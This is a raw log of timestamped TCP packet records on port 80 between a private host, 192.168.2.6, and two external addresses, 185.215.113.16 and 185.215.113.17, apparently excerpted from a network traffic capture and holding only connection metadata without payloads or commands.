Dec 18, 2024 12:00:27.984756947 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.984837055 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.984878063 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.985805988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.985883951 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.985897064 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.986037970 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.986923933 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.986969948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.987003088 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.987051964 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.988013983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.988070965 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.988090038 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.988130093 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.989089966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.989147902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.989227057 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.989269972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.990243912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.990293026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.990331888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.990390062 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.991297960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.991359949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.991377115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.991425037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.992459059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.992536068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.992568970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.992610931 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.993485928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.993539095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.993622065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.993680954 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.994604111 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.994652033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.994695902 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.994736910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.995666027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.995735884 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.995812893 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.995855093 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.996763945 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.996812105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.996849060 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.996891022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.997885942 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.997910023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.997931004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.997946978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.998991966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.999044895 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.999125004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.999174118 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.000085115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.000117064 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.000153065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.000166893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.123294115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.123332024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.123397112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.123397112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.124069929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.124084949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.124118090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.124135017 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.242760897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.242784023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.242845058 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.242871046 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.243443012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.243455887 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.243504047 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.362221956 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362247944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362260103 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362272024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362283945 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362298965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362314939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.362333059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362344027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362360001 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.362380028 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.362590075 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362670898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362682104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362693071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362705946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.362715960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362726927 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.362736940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362750053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.362757921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362770081 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.362778902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.362793922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.362812996 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.363607883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.363620043 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.363631964 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.363643885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.363655090 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.363673925 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.363679886 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.363691092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.363703012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.363713026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.363733053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.364465952 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.364479065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.364489079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.364502907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.364511967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.364567041 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.364598036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.364610910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.364620924 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.364639044 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.364648104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.364665031 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.364691019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.365256071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.365320921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.365341902 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.365351915 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.365364075 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.365375042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.365386009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.365396976 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.365406036 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.365417004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.365430117 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.365439892 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.365449905 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.365492105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.366204023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.366215944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.366226912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.366241932 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.366247892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.366265059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.366271019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.366281033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.366297960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.366302967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.366314888 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.366339922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.367036104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367047071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367058992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367069960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367080927 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367094994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367105007 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.367115021 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367140055 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.367160082 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.367867947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367878914 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367888927 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367899895 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367919922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.367925882 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367937088 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367947102 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367959976 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.367969036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.367990971 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.368001938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.368767977 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.368779898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.368792057 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.368803024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.368813992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.368829012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.368844032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.368860960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.368941069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.368941069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.368941069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.369570017 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.369590044 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.369621992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.369626999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.369640112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.369667053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.369676113 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.369687080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.369699001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.369724989 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.369736910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.369745970 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.369745970 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.369776011 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.370539904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.370552063 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.370562077 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.370573997 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.370583057 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.370594978 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.370605946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.370614052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.370625019 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.370646954 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.370661020 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.371431112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.371444941 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.371454954 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.371464968 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.371481895 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.371486902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.371499062 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.371512890 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.371517897 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.371527910 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.371540070 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.371552944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.371565104 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.371603012 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.372257948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.372268915 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.372284889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.372298956 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.372307062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.372325897 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.372358084 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.372687101 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.372699022 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.372713089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.372782946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.372782946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.372812033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.372823000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.372833967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.372847080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.372872114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.372884989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.373626947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.373639107 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.373650074 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.373662949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.373672962 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.373702049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.374505043 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.374517918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.374528885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.374551058 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.374564886 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.374569893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.374579906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.374615908 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.375344992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.375355959 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.375370979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.375380993 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.375395060 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.375401974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.375412941 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.375417948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.375427008 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.375447035 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.375452995 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.375459909 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.375495911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.376173973 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.376189947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.376211882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.376223087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.376259089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.376270056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.376280069 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.376293898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.376302958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.376312971 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.376321077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.376333952 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.376347065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.376373053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.377288103 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.377307892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.377319098 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.377330065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.377340078 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.377347946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.377357960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.377371073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.377388954 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:28.377398014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.377435923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.377448082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.377475023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:28.377509117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.377509117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.378009081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378026009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378041029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378046989 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.378058910 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.378068924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378078938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378113031 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.378388882 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378403902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378415108 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378428936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.378437042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.378444910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378452063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.378470898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378480911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.378489971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378509045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378518105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.378518105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.378531933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378549099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.378555059 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.378561020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.378581047 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.379429102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.379441023 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.379451990 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.379466057 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.379477024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.379487991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.379512072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.379642963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.379699945 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.379734993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.379740953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.379774094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.379779100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.379817963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.380151033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.380192995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:28.380208015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.380244017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:28.380247116 CET	49913	80	192.168.2.6	185.215.113.17
